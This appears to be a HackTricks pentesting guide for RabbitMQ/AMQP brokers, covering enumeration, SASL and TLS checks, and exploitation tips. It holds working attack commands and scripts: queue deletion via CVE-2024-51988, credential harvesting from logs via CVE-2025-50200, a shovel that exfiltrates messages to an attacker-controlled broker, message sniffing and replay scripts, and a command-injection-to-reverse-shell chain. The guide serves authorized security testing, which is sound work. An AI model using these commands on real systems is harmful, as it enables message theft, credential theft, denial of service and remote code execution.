// HackTricks · Network Services

5671,5672 - Pentesting AMQP

5671,5672 - Pentesting AMQP

Basic Information

RabbitMQ is a message and streaming broker. Producers publish messages to exchanges, exchanges route them to queues or streams, and consumers receive them. RabbitMQ supports AMQP 0-9-1 and, since RabbitMQ 4.0, native AMQP 1.0 on the same listeners, plus optional protocol plugins.[1][11]

Default ports: 5672 for plain AMQP and 5671 for AMQP over TLS.[2]

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Default credentials: guest:guest. RabbitMQ restricts them to localhost through loopback_users, but many Docker/IoT images disable that check, so always test remote login before assuming it is blocked.
  • Authentication mechanisms: PLAIN and AMQPLAIN are enabled by default, ANONYMOUS is mapped to anonymous_login_user/anonymous_login_pass, and EXTERNAL (x509) can be exposed when TLS is enabled. Enumerate what the broker advertises so you know whether to try password spraying or certificate impersonation later.[3]
  • AMQP 1.0 on the same listener: RabbitMQ 4.x exposes native AMQP 1.0 on 5672/5671. Targeting /queues/<queue> sends to an existing queue through the internal amq.default exchange; the user still needs write permission on amq.default, and the queue must exist.[11]

Enumeration

Manual

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
    print(k, v)

Once authenticated, dump conn.server_properties, conn.channel_max and conn.frame_max to understand throughput limits and whether you can exhaust resources with oversized frames.

Starting with RabbitMQ 4.3.1, passive queue.declare / exchange.declare calls require at least one matching permission (configure, write, or read) on the target object. They do not create topology, and differences between NOT_FOUND and ACCESS_REFUSED can help distinguish nonexistent names from names outside the account’s permission regex.[12]

Automatic

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL checks

  • Probe AMQPS:
    openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
    This leaks the certificate chain, supported TLS versions and whether mutual TLS is required.
  • List listeners without creds:
    rabbitmq-diagnostics -q listeners
    Useful once you get low-priv shell access to the host.
  • Spot ANONYMOUS logins: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the anonymous_login_user (defaults to guest).[3]

Brute Force

Exploitation Tips

Queue deletion without configure perms (CVE-2024-51988)

Open-source RabbitMQ versions after 3.12.7 and before 3.12.11 fail to check the configure permission when queues are deleted through the HTTP API. An authenticated user with some permission on the target vhost and HTTP API access can delete queues for which it lacks deletion permission. RabbitMQ 3.12.11 fixes the issue; Tanzu version ranges differ, so consult the advisory.[4]

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Combine this with rabbitmqadmin list permissions to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check 15672 pentesting for more HTTP API endpoints to chain with this bug.

Harvest credentials from RabbitMQ logs (CVE-2025-50200)

RabbitMQ 3.13.0–3.13.7 and 4.0.0–4.0.7 can log the complete HTTP Basic Authorization header when a management API request raises certain errors, such as a lookup for a nonexistent queue. Patched versions are 3.13.8 and 4.0.8. If you gain authorized filesystem access, search the RabbitMQ logs for leaked credentials belonging to users whose requests triggered the affected error path.[5]

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Correlate any decoded value with its timestamp and request context, then test reuse only within scope over AMQP, STOMP, MQTT, or the management API. Avoid deliberately submitting third-party credentials to the vulnerable endpoint because that creates another plaintext copy in the logs.

Weaponize rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) is a self-contained CLI that talks to the management API and now ships statically linked builds for Linux/macOS/Windows. Drop it on your bounce box and script:[6]

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
  --name loot \
  --source-uri amqp://user:pass@target:5672/%2f \
  --destination-uri amqp://attacker:pw@vps:5672/%2f \
  --source-queue transactions \
  --destination-queue stolen

The tool’s health checks can also ask the management API whether a node listens on a given port, for example rabbitmqadmin health_check port_listener --port 5672. This reports listener presence; it does not by itself prove that the listener is plaintext, TLS-enabled, or externally reachable.

Message hijacking/sniffing

If permissions allow broad bindings to topic exchanges, you can copy matching messages into a temporary queue without consuming them from the original queue. Creating the queue requires configure, binding it requires write on the exchange and read on the queue, and consuming requires read on the queue.[3]

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
    if body:
        print(method.routing_key, body)

Swap the routing key for audit.# or payments.* to focus on sensitive flows, then republish forged messages by flipping basic_publish arguments—handy for replay attacks against downstream microservices.

Remember that topic authorisation is often weaker than defenders expect: on fresh RabbitMQ installations, if no topic permissions were explicitly defined, publishing to and consuming from topic exchanges is still authorised once the normal resource permissions match. In practice, broad binds such as # or user.# frequently work for low-priv users that were only intended to access a narrow subset of subjects.[3]

Replay historical traffic from stream queues

If the target uses stream queues (x-queue-type=stream), treat them like an append-only log instead of a classic destructive queue. RabbitMQ streams retain messages after consumption, and a consumer can attach from the first available message, a specific numeric offset, or a timestamp. That means a stolen read-capable account can often recover historical jobs, credentials, tokens, or PII long after the original consumer processed them.[7]

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
for method, props, body in ch.consume(
    'orders-stream',
    arguments={'x-stream-offset': 'first'},
    inactivity_timeout=5,
):
    if body:
        print(body)

If you see queue type stream in the management UI or via rabbitmqadmin queues list name type arguments, immediately test historical replay. This is especially valuable in incident-response, CI/CD, and IoT deployments where old messages still contain bearer tokens, firmware URLs, or command payloads.

Subscribe to amq.rabbitmq.event for recon

When the rabbitmq_event_exchange plugin is enabled, RabbitMQ republishes internal events to the topic exchange amq.rabbitmq.event. With read access, you can bind a temporary queue to patterns such as user.#, queue.#, binding.#, or connection.# and turn the broker into a live recon feed: failed logins, new queues, deleted bindings, and other administrative activity become visible in near real time.[8]

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='evtloot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='evtloot', exchange='amq.rabbitmq.event', routing_key='user.#')
for method, props, body in ch.consume('evtloot', inactivity_timeout=5):
    if props and props.headers:
        print(method.routing_key, props.headers)

The message body is blank, so inspect headers/annotations instead. This is a very useful way to monitor credential spraying, discover admin activity, or identify queue names worth targeting next.

Consumer-side command injection (message bus -> RCE)

Treat every message broker as a potential code-delivery primitive when downstream consumers turn message data into shell commands, SQL, template input, or config updates. The critical anti-pattern is a worker that reads attacker-controlled content from a queue/topic and feeds it into a shell, for example bash -c "$MESSAGE", sh -c, os.system, subprocess(..., shell=True), Runtime.exec, or Command::new("bash").arg("-c").arg(message).[10]

Typical exploitation chain:

  1. Gain publish capability to a queue/topic:
    • Direct broker access with weak/default credentials or no auth
    • Access to an HTTP publish feature such as RabbitMQ Management POST /api/exchanges/%2F/<exchange>/publish
    • SSRF into an internal broker or debug endpoint that can speak raw TCP to the broker
    • Compromise of any producer service that already writes to the target queue/topic
  2. Locate the sink in source/config:
    • Workers calling shells after deserializing messages
    • “task runners” that accept commands over the queue
    • Consumers that rebuild config files and then execute hooks/reload scripts
  3. Publish a benign probe first (id, whoami, uname -a) to confirm execution without destroying the worker
  4. Upgrade to a reverse shell or data theft once the execution path is confirmed

Things to look for during source review:

  • Consumer groups named update, jobs, tasks, commands, hooks, admin, dns, or sync
  • Supervisor/systemd entries launching both a broker consumer and a privileged helper in the same container
  • Log lines showing a worker executes each message and then republishes results to a second queue/topic

Example RabbitMQ publish through the management API:

curl -u user:pass -H 'content-type: application/json' \
  -X POST http://TARGET:15672/api/exchanges/%2F/amq.default/publish \
  -d '{"properties":{},"routing_key":"update","payload":"id","payload_encoding":"string"}'

The same pattern appears outside AMQP. In Kafka, once you can reach the broker and craft a valid Produce request for the attacker-controlled topic, any consumer that forwards the message body to bash -c becomes an RCE sink. If the only reachable primitive is SSRF, check whether it can send raw TCP bytes or follow a gopher:// redirect so you can still speak the broker protocol.[9]

Other RabbitMQ ports

In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:[2]

See also

See NATS pentesting.

Shodan

  • AMQP

References